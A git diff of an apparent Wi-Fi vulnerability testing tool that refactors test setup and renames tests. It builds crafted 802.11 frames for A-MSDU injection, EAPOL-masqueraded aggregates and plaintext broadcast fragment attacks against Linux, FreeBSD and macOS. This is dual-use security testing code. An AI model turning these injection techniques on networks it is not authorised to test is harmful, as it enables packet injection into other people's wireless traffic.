diff --git a/research/fragattack.py b/research/fragattack.py index 41fd94d92..9be62f52c 100755 --- a/research/fragattack.py +++ b/research/fragattack.py @@ -21,6 +21,8 @@ def char2trigger(c): else: raise Exception("Unknown trigger character " + c) def stract2action(stract): + """Parse a single trigger and action pair""" + if len(stract) == 1: trigger = Action.Connected c = stract[0] @@ -30,9 +32,9 @@ def stract2action(stract): if c == 'I': return Action(trigger, action=Action.GetIp) - elif c == 'R': + elif c == 'F': return Action(trigger, action=Action.Rekey) - elif c == 'C': + elif c == 'R': return Action(trigger, action=Action.Reconnect) elif c == 'P': return Action(trigger, enc=False) @@ -44,15 +46,19 @@ def stract2action(stract): raise Exception("Unrecognized action") +def str2actions(stractions, default): + """Parse a list of trigger and action pairs""" + if stractions != None: + return [stract2action(stract) for stract in stractions.split(",")] + else: + return default + def prepare_tests(opt): stractions = opt.actions if opt.testname == "ping": - if stractions != None: - actions = [stract2action(stract) for stract in stractions.split(",")] - else: - actions = [Action(Action.Connected, action=Action.GetIp), - Action(Action.Connected, enc=True)] - + actions = str2actions(stractions, + [Action(Action.Connected, action=Action.GetIp), + Action(Action.Connected, enc=True)]) test = PingTest(REQ_ICMP, actions, opt=opt) elif opt.testname == "ping-frag-sep": @@ -87,45 +93,26 @@ def prepare_tests(opt): elif opt.testname == "forward": test = ForwardTest(eapol=False, dst=stractions) - elif opt.testname == "eapol-inject": - large = False - if stractions != None and stractions.startswith("L,"): - large, stractions = True, stractions[2:] + elif opt.testname in ["eapol-inject", "eapol-inject-large"]: + large = opt.testname.endswith("-large") test = ForwardTest(eapol=True, dst=stractions, large=large) - elif opt.testname == "eapol-amsdu": - freebsd = False - if stractions != None: - # TODO: Clean up this parsing / specification - stractions = stractions - if stractions.startswith("M,"): - freebsd = True - stractions = stractions[2:] - prefix, specific = stractions[:-3], stractions[-2:] - actions = [] - if len(prefix) > 0: - actions = [stract2action(stract) for stract in prefix.split(",")] - actions += [Action(char2trigger(t), enc=False) for t in specific] - else: - actions = [Action(Action.StartAuth, enc=False), - Action(Action.StartAuth, enc=False)] - + elif opt.testname in ["eapol-amsdu", "eapol-amsdu-bad"]: + freebsd = opt.testname.endswith("-bad") + actions = str2actions(stractions, + [Action(Action.StartAuth, enc=False), + Action(Action.StartAuth, enc=False)]) test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt) elif opt.testname == "linux-plain": decoy_tid = None if stractions == None else int(stractions) test = LinuxTest(REQ_ICMP, decoy_tid) - # TODO: - Rename test - # TODO: - Allow "I,CC" to first get an IP address and test black-box - elif opt.testname == "macos": - if stractions != None: - actions = [Action(char2trigger(t), enc=False) for t in stractions] - else: - actions = [Action(Action.StartAuth, enc=False), - Action(Action.StartAuth, enc=False)] - - test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst) + elif opt.testname == "eapfrag": + actions = str2actions(stractions, + [Action(Action.StartAuth, enc=False), + Action(Action.StartAuth, enc=False)]) + test = BcastEapFragTest(REQ_ICMP, actions, opt.bcast_dst) elif opt.testname == "qca-test": test = QcaDriverTest() @@ -136,8 +123,9 @@ def prepare_tests(opt): elif opt.testname == "qca-rekey": test = QcaDriverRekey() - elif opt.testname == "amsdu-inject": - test = AmsduInject(REQ_ICMP, stractions) + elif opt.testname in ["amsdu-inject", "amsdu-inject-bad"]: + malformed = opt.testname.endswith("-bad") + test = AmsduInject(REQ_ICMP, malformed) # No valid test ID/name was given else: return None diff --git a/research/tests_attacks.py b/research/tests_attacks.py index 9ff079e9c..82a5b131d 100644 --- a/research/tests_attacks.py +++ b/research/tests_attacks.py @@ -11,16 +11,13 @@ class AmsduInject(Test): the A-MSDU attack by injecting an IP packet with a specific identification field. """ - def __init__(self, ptype, target=False): + def __init__(self, ptype, malformed=False): super().__init__([ Action(Action.Connected, Action.GetIp, enc=True), Action(Action.Connected, Action.Inject, enc=True)] ) self.ptype = ptype - self.target = target - if not self.target in [None, "linux"]: - log(ERROR, f"Unknown target {self.target} in A-MSDU injection test!") - quit(1) + self.malformed = malformed def prepare(self, station): log(STATUS, "Generating A-MSDU attack test frame", color="green") @@ -37,12 +34,13 @@ class AmsduInject(Test): src = station.bss # Put the request inside an IP packet - if self.target == None: + if not self.malformed: p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="1.2.3.4", id=34)/TCP() # This works against linux 4.9 and above and against FreeBSD - elif self.target == "linux": + else: p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748) + p = p/create_msdu_subframe(src, dst, request, last=True) p[Dot11QoS].Reserved = 1 diff --git a/research/tests_common.py b/research/tests_common.py index 30f697935..3f54d4904 100644 --- a/research/tests_common.py +++ b/research/tests_common.py @@ -191,11 +191,22 @@ class EapolTest(Test): class EapolAmsduTest(Test): + """ + TODO: Combine this class with PingTest so we have more advanced argument handling + """ + def __init__(self, ptype, actions, freebsd=False, opt=None): super().__init__(actions) self.ptype = ptype self.freebsd = freebsd self.bcast_dst = False if opt == None else opt.bcast_dst + #TODO: More automatically control ptype and its arguments + self.dport = None if opt == None else opt.udp + + actions = self.get_actions(Action.Inject) + if len(actions) != 1: + log(ERROR, f"eapol-amsdu: invalid arguments, should only give 1 inject action (gave {len(actions)}).") + quit(1) def prepare(self, station): log(STATUS, "Generating ping test", color="green") @@ -204,8 +215,6 @@ class EapolAmsduTest(Test): header, request, check_fn = generate_request(station, self.ptype) # Set the A-MSDU frame type flag in the QoS header header.Reserved = 1 - # Testing - #header.addr2 = "00:11:22:33:44:55" # We can automatically detect result if the last fragment was # sent after the authentication @@ -219,7 +228,7 @@ class EapolAmsduTest(Test): # Masquerade A-MSDU frame as an EAPOL frame if self.freebsd: - log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid") + log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD/Linux/.. treats as valid") request = freebsd_create_eapolmsdu(mac_src, mac_dst, request) else: request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request) @@ -234,12 +243,7 @@ class EapolAmsduTest(Test): else: toinject.addr1 = "ff:ff:ff:ff:ff:ff" - # XXX Where was this needed again? - auth = Dot11()/Dot11Auth(status=0, seqnum=1) - station.set_header(auth) - auth.addr2 = "00:11:22:33:44:55" - - self.actions[0].frame = auth - self.actions[1].frame = toinject - + # Note: previously I also sent an Auth to 00:..:55 but that doesn't seem to be needed. + actions = self.get_actions(Action.Inject) + actions[0].frame = toinject diff --git a/research/tests_old.py b/research/tests_old.py index 59ac2759a..d0b23c028 100644 --- a/research/tests_old.py +++ b/research/tests_old.py @@ -5,7 +5,7 @@ from fraginternals import * -class MacOsTest(Test): +class BcastEapFragTest(Test): """ This was an early version of the plaintext broadcast fragment attack. See docs/macoxs-reversing.md for background on this attack. It turns @@ -17,6 +17,14 @@ class MacOsTest(Test): self.ptype = ptype self.bcast_dst = bcast_dst + actions = self.get_actions(Action.Inject) + if len(actions) != 2: + log(ERROR, f"eapfrag: invalid arguments, should give 2 inject action (gave {len(actions)}).") + quit(1) + elif actions[0].enc: + log(ERROR, f"eapfrag: first inject action should not be encrypted.") + quit(1) + def prepare(self, station): # First fragment is the start of an EAPOL frame header = station.get_header(prior=2) @@ -43,5 +51,6 @@ class MacOsTest(Test): if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0: frag2.addr3 = "ff:ff:ff:ff:ff:ff" - self.actions[0].frame = frag1 - self.actions[1].frame = frag2 + actions = self.get_actions(Action.Inject) + actions[0].frame = frag1 + actions[1].frame = frag2